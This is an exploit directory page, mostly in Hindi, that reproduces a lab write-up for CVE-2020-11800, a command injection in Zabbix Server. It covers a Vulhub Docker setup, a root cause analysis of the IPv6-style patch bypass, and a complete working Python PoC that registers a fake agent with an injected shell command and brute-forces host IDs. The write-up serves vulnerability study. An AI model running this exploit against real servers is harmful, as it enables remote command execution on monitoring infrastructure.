Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2020-11800 — CVE-2020-11800 के लिए PoC एक्सप्लॉइट — दुर्भावनापूर्ण एजेंट ऑटो-रजिस्ट्रेशन के माध्यम से Zabbix Server में कमांड इंजेक्शन, जिसमें Python-आधारित पेलोड डिलीवरी और होस्ट ID ब्रूट-फोर्सिंग शामिल है। | Kitploit
उपकरण/GitHubGitHub/ycseo-git/cve-2020-11800
भेद्यता विश्लेषणशोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलपेलोड डेवलपमेंट
GitHubycseo-git/cve-2020-11800

CVE-2020-11800

CVE-2020-11800 के लिए PoC एक्सप्लॉइट — दुर्भावनापूर्ण एजेंट ऑटो-रजिस्ट्रेशन के माध्यम से Zabbix Server में कमांड इंजेक्शन, जिसमें Python-आधारित पेलोड डिलीवरी और होस्ट ID ब्रूट-फोर्सिंग शामिल है।

रिपॉजिटरी देखें
74 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

असाइनमेंट दिशानिर्देशों द्वारा आवश्यक अनुभागों को “(आवश्यक)” से चिह्नित किया गया है।

1. पर्यावरण (आवश्यक)

Dockerfile (आवश्यक)

यह पर्यावरण Vulhub द्वारा प्रदान की गई कमजोर Zabbix Server इमेज पर आधारित एक कस्टम Dockerfile का उपयोग करता है।

FROM vulhub/zabbix:3.0.3-server

Dockerfile कमजोर Zabbix 3.0.3 सर्वर पर्यावरण का उपयोग करके एक स्थानीय इमेज बनाता है। निर्माण प्रक्रिया के दौरान कोई अतिरिक्त पैकेज या कॉन्फ़िगरेशन नहीं जोड़ा गया।


docker-compose.yml (आवश्यक)

कमजोर पर्यावरण को Docker Compose का उपयोग करके कॉन्फ़िगर किया गया है।

पर्यावरण में चार सेवाएँ शामिल हैं:

  • Zabbix Server
  • Zabbix Agent
  • Zabbix Web Interface
  • MySQL Database

server सेवा को Dockerfile का उपयोग करके स्थानीय रूप से बनाया गया है:

server:
  build: .
  image: cve-2020-11800-server

MySQL कंटेनर वॉल्यूम माउंटिंग का उपयोग करके src/ निर्देशिका से SQL प्रारंभिकरण फ़ाइलों को स्वचालित रूप से आयात करता है:

volumes:
  - ./src/:/docker-entrypoint-initdb.d/

यह कंटेनर शुरू होने पर डेटाबेस स्कीमा और प्रारंभिक Zabbix डेटा को स्वचालित रूप से लोड करने की अनुमति देता है।


सेवा संरचना (आवश्यक)

पर्यावरण निम्नलिखित संरचना का उपयोग करके संचालित होता है:

[Browser]
    ↓
[Zabbix Web]
    ↓
[Zabbix Server]
    ↓
[MySQL]

[Agent] → [Server]

Zabbix Web

ब्राउज़र के माध्यम से सुलभ वेब-आधारित प्रबंधन इंटरफ़ेस प्रदान करता है।

व्यवस्थापक इस इंटरफ़ेस के माध्यम से स्वतः-पंजीकरण कॉन्फ़िगर करता है और निगरानी-संबंधी कार्यों को निष्पादित करता है।

Zabbix Server

इसके लिए उत्तरदायी मुख्य घटक:

  • एजेंट प्रबंधन
  • स्क्रिप्ट निष्पादन
  • निगरानी तर्क
  • ईवेंट प्रोसेसिंग

कमांड इंजेक्शन भेद्यता इस कंटेनर के अंदर ट्रिगर होती है।

Zabbix Agent

निगरानी किए गए होस्ट के रूप में कार्य करता है और Zabbix Server के साथ संचार करता है।

एक्सप्लॉइट एजेंट पंजीकरण प्रक्रिया के दौरान स्वतः-पंजीकरण तंत्र का दुरुपयोग करता है।

MySQL

Zabbix कॉन्फ़िगरेशन डेटा, होस्ट जानकारी और निगरानी-संबंधी डेटा संग्रहीत करता है।


इमेज और संस्करण (आवश्यक)

सेवाइमेजसंस्करण
Zabbix Servervulhub/zabbix3.0.3-server
Zabbix Webvulhub/zabbix3.0.3-web
MySQLmysql5

यह पर्यावरण Vulhub द्वारा प्रदान किए गए कमजोर Zabbix 3.0.3 पर्यावरण पर आधारित है।

2. मूल कारण (आवश्यक)

भेद्यता विवरण (आवश्यक)

CVE-2020-11800, Zabbix Server Active Proxy Trapper कार्यक्षमता में एक कमांड इंजेक्शन भेद्यता है।

यह भेद्यता इसलिए मौजूद है क्योंकि CVE-2017-2824 के लिए पैच अधूरा था। एक हमलावर IPv6-शैली पेलोड का उपयोग करके मूल पैच को बायपास कर सकता है और Zabbix Server पर मनमाने कमांड निष्पादित कर सकता है।

यह भेद्यता स्वतः-पंजीकरण प्रक्रिया के दौरान ट्रिगर होती है जब सर्वर उपयोगकर्ता-नियंत्रित होस्ट जानकारी संसाधित करता है।


मूल कारण विश्लेषण (आवश्यक)

भेद्यता का मूल कारण शेल कमांड के अंदर उपयोगकर्ता-नियंत्रित इनपुट की असुरक्षित हैंडलिंग है।

स्क्रिप्ट निष्पादन के दौरान, Zabbix Server पंजीकृत होस्ट IP मान का उपयोग करके निम्न जैसे कमांड का निर्माण करता है:

ping <host_ip>

सामान्य परिस्थितियों में:

ping 127.0.0.1

हालाँकि, यदि कोई हमलावर निम्नलिखित पेलोड का उपयोग करके होस्ट पंजीकृत करता है:

ffff:::;touch /tmp/success2

शेल द्वारा निष्पादित अंतिम कमांड बन जाता है:

ping ffff:::;touch /tmp/success2

चूँकि सेमीकोलन (;) शेल कमांड विभाजक के रूप में कार्य करता है, शेल इनपुट को दो अलग-अलग कमांड के रूप में व्याख्या करता है:

ping ffff:::
touch /tmp/success2

परिणामस्वरूप, मनमाना कमांड निष्पादन संभव हो जाता है।

IPv6 का उपयोग करके पैच बायपास

CVE-2017-2824 के लिए मूल पैच ने दुर्भावनापूर्ण इनपुट मानों को प्रतिबंधित करने का प्रयास किया।

हालाँकि, सत्यापन तर्क IPv6-शैली इनपुट को ठीक से संभाल नहीं पाया।

पेलोड:

ffff:::;touch /tmp/success2

मौजूदा सत्यापन तर्क को बायपास करने के लिए एक IPv6-जैसा उपसर्ग (ffff:::) का उपयोग करता है, साथ ही शेल मेटाकैरेक्टर इंजेक्ट करता है।

यह हमलावरों को पिछले पैच को बायपास करने और कमांड इंजेक्शन भेद्यता का शोषण जारी रखने की अनुमति देता है।


भेद्यता ट्रिगर प्रक्रिया (आवश्यक)

शोषण प्रक्रिया निम्नलिखित क्रम में होती है:

Attacker
 ↓
Fake Agent Registration
 ↓
Malicious IP Stored
 ↓
Zabbix Script Execution
 ↓
Shell Command Construction
 ↓
Command Injection
 ↓
Arbitrary Command Execution

हमलावर पहले एक क्राफ्टेड IP फ़ील्ड युक्त दुर्भावनापूर्ण स्वतः-पंजीकरण अनुरोध भेजता है।

होस्ट पंजीकृत होने के बाद, Zabbix Server संग्रहीत होस्ट IP मान का उपयोग करके एक निगरानी स्क्रिप्ट निष्पादित करता है।

इस प्रक्रिया के दौरान, दुर्भावनापूर्ण पेलोड की व्याख्या शेल द्वारा की जाती है, जिससे मनमाना कमांड निष्पादन होता है।


हमला प्रवाह और प्रभाव (आवश्यक)

एक्सप्लॉइट हमलावरों को Zabbix Server प्रक्रिया के विशेषाधिकारों के साथ मनमाने कमांड निष्पादित करने की अनुमति देता है।

इस वातावरण में, सफल शोषण ने सर्वर कंटेनर के अंदर निम्नलिखित फ़ाइल बनाई:

/tmp/success2

यह पुष्टि करता है कि इंजेक्ट किए गए शेल कमांड सफलतापूर्वक निष्पादित किए गए।

वास्तविक वातावरण में, सफल शोषण हमलावरों को अनुमति दे सकता है:

  • मनमाने सिस्टम कमांड निष्पादित करना
  • मैलवेयर डाउनलोड करना और चलाना
  • आंतरिक टोह लेना
  • अन्य सिस्टम पर पिवट करना
  • निगरानी बुनियादी ढांचे से समझौता करना

यह भेद्यता विशेष रूप से खतरनाक है क्योंकि निगरानी सर्वरों को अक्सर कई आंतरिक सिस्टम और बुनियादी ढांचे के घटकों की दृश्यता होती है।

3. PoC (आवश्यक)

PoC अवलोकन (आवश्यक)

प्रूफ ऑफ कॉन्सेप्ट (PoC) को Python में लिखा गया था और यह TCP पोर्ट 10051 के माध्यम से सीधे Zabbix Server के साथ संचार करता है।

PoC निम्नलिखित क्रियाएँ करता है:

  1. एक दुर्भावनापूर्ण स्वतः-पंजीकरण अनुरोध भेजता है
  2. मान्य hostid मानों को ब्रूट-फोर्स करता है
  3. इंजेक्ट किए गए पेलोड का उपयोग करके स्क्रिप्ट निष्पादन ट्रिगर करता है

PoC कोड

import sys
import socket
import json


def send(ip, data):
    conn = socket.create_connection((ip, 10051), 10)
    conn.send(json.dumps(data).encode())
    response = conn.recv(2048)
    conn.close()
    return response


if len(sys.argv) != 2:
    print("Usage: python3 exploit.py <target-ip>")
    sys.exit(1)


target = sys.argv[1]

payload = {
    "request": "active checks",
    "host": "vulhub",
    "ip": "ffff:::;touch /tmp/success2"
}

print("[*] Sending malicious auto-registration request...")
print(send(target, payload))

print("[*] Brute forcing hostid and triggering script execution...")
for i in range(10000, 10500):
    data = send(target, {
        "request": "command",
        "scriptid": 1,
        "hostid": str(i)
    })

    if data and b'failed' not in data:
        print("[+] hostid: %d" % i)
        print(data)

पेलोड विश्लेषण (आवश्यक)

इस PoC में उपयोग किया गया पेलोड है:

ffff:::;touch /tmp/success2

पेलोड संरचना

भागउद्देश्य
ffff:::सत्यापन बायपास के लिए उपयोग किया जाने वाला IPv6-जैसा उपसर्ग
;शेल कमांड विभाजक
touch /tmp/success2सर्वर पर निष्पादित मनमाना कमांड

पेलोड इस तथ्य का दुरुपयोग करता है कि सर्वर उपयोगकर्ता-नियंत्रित IP मानों को शेल कमांड में अनुचित रूप से जोड़ता है।

उद्देश्य

  • एक नकली Zabbix एजेंट पंजीकृत करता है
  • सर्वर पर एक दुर्भावनापूर्ण IP मान संग्रहीत करता है
  • लक्ष्य को कमांड इंजेक्शन के लिए तैयार करता है

पेलोड को स्वतः-पंजीकरण प्रक्रिया के दौरान ip फ़ील्ड के माध्यम से भेजा जाता है।


PoC कोड निष्पादन प्रक्रिया (आवश्यक)

स्वतः-पंजीकरण अनुरोध

PoC द्वारा भेजा गया पहला अनुरोध एक दुर्भावनापूर्ण होस्ट पंजीकृत करने का प्रयास करता है।

payload = {
    "request": "active checks",
    "host": "vulhub",
    "ip": "ffff:::;touch /tmp/success2"
}

होस्ट ID ब्रूट फोर्स

पंजीकरण के बाद, PoC एक मान्य hostid खोजने का प्रयास करता है।

टूल डाउनलोड करें